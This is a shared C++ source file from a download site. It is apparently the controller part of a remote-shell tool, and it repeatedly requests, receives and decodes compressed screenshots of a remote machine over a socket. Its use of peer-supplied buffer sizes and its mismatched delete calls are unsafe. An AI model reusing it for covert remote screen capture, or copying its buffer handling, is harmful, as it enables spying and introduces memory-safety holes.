⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 servergetcappicture.cpp

📁 软件源代码,共享。有2个文件
💻 CPP
字号:
#include "stdafx.h"
#include ".\servergetcappicture.h"
#include "..\VipShellInfo\lzw.h"
CServerGetCapPicture::CServerGetCapPicture(void)
{
	m_dwBufLenLzw = 0;
	m_pDataLzw = NULL;

	m_dwBufBitmaplen = 0;
	m_pDataBitmap = NULL;
	m_hBitmap = NULL;
	
	m_pCall = NULL;

}

CServerGetCapPicture::~CServerGetCapPicture(void)
{

	m_hServer.Close();
	if( m_pDataLzw)
		delete m_pDataLzw;
	if( m_pDataBitmap )
		delete m_pDataBitmap;
	if ( m_hBitmap )
		DeleteObject(m_hBitmap);
}

void CServerGetCapPicture::OnNewThread(DWORD dwCreateMarker, DWORD dwThreadId, LPVOID lpParameter)
{
	while(!m_bIsStop)
	{
		HBITMAP hBitmap = ___GetPicture();
		if(m_bIsStop)
			return ;
		if(!m_hServer.IsOpened())
			return ;
		if(hBitmap)
		{
			if(m_pCall)
				m_pCall->OnPicture(hBitmap);
		}
	}

}
bool CServerGetCapPicture::Start(CCapPictureCallBack* e)
{
	if(m_pCall)
		return false;
	m_pCall = e;
	m_bIsStop = false;
	NewThread();
	return true;
}
bool CServerGetCapPicture::Stop()
{
	CMySingleLock lock(&m_CriticalSectionStop);
	m_bIsStop = true;
	m_pCall = NULL;
	return true;
}
HBITMAP CServerGetCapPicture::___GetPicture()
{
	CMySingleLock lock(&m_CriticalSectionStop);
	int nRet;
	tagVipShellCmd cmd;
	cmd.dwCmd = SHELL_CMD_GETCAP;
	nRet = m_hServer.Send(&cmd, sizeof(tagVipShellCmd));
	if(nRet == SOCKET_ERROR)
		return NULL;
	nRet = m_hServer.Recv(&cmd, sizeof(tagVipShellCmd));
	if(nRet == SOCKET_ERROR )
	{
		m_hServer.Close();
		return NULL;
	}
	if(cmd.dwCmd != SHELL_CMD_ISOK)
	{
		return NULL;
	}
	cmd.dwCmd = SHELL_CMD_ISOK;
	nRet = m_hServer.Send(&cmd, sizeof(tagVipShellCmd));
	if(nRet == SOCKET_ERROR)
		return NULL;
	__NewBufLzw(cmd.dw1);
	__NewBufBitmap(cmd.dw2);
	nRet = _RecvBuffData(m_pDataLzw, cmd.dw1);
	if(nRet == SOCKET_ERROR)
		return NULL;
	//	解压缩
	
	FCLzw lzw;
	memset(m_pDataBitmap, 0, m_dwBufBitmaplen );

	memset(m_lzw_STR, 0, sizeof(m_lzw_STR));
	lzw.SetStrBegin((LZW_STRING *)m_lzw_STR);
	lzw.LZW_Decode(m_pDataLzw, m_pDataBitmap);
	return __GetDataToBitmap(m_pDataBitmap);
}

bool CServerGetCapPicture::__NewBufBitmap(DWORD dwLen)
{
	dwLen +=  100; 
	if(dwLen <= m_dwBufBitmaplen)
		return true;
	if(m_pDataBitmap)
		delete m_pDataBitmap;
	m_pDataBitmap = new BYTE[dwLen];
	if(m_pDataBitmap)
	{
		m_dwBufBitmaplen = dwLen;
		return true;
	}
	m_dwBufBitmaplen = 0;
	return false;
}
bool CServerGetCapPicture::__NewBufLzw(DWORD dwLen)
{
	dwLen +=  100; 
	if(dwLen <= m_dwBufLenLzw)
		return true;
	if(m_pDataLzw)
		delete m_pDataLzw;
	m_pDataLzw = new BYTE[dwLen];
	if(m_pDataLzw)
	{
		m_dwBufLenLzw = dwLen;
		return true;
	}
	m_dwBufLenLzw = 0;
	return false;
}


HBITMAP CServerGetCapPicture::__GetDataToBitmap(BYTE* pDate)
{
	BITMAPFILEHEADER* pbmfh ;     // DIB位图文件头
	HBITMAP            hBitmap ;

	pbmfh = (BITMAPFILEHEADER *)pDate;
	if (pbmfh->bfType != * (WORD *) "BM") 
		return NULL ;

	HDC hdc = CreateDC(_T("DISPLAY"), NULL, NULL, NULL);
	// 创建DDB位图
	hBitmap = CreateDIBitmap (hdc,              
		(BITMAPINFOHEADER *) (pbmfh + 1),
		CBM_INIT,
		(BYTE *) pbmfh + pbmfh->bfOffBits,
		(BITMAPINFO *) (pbmfh + 1),
		DIB_RGB_COLORS) ;
	DeleteDC(hdc);
	return hBitmap ;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -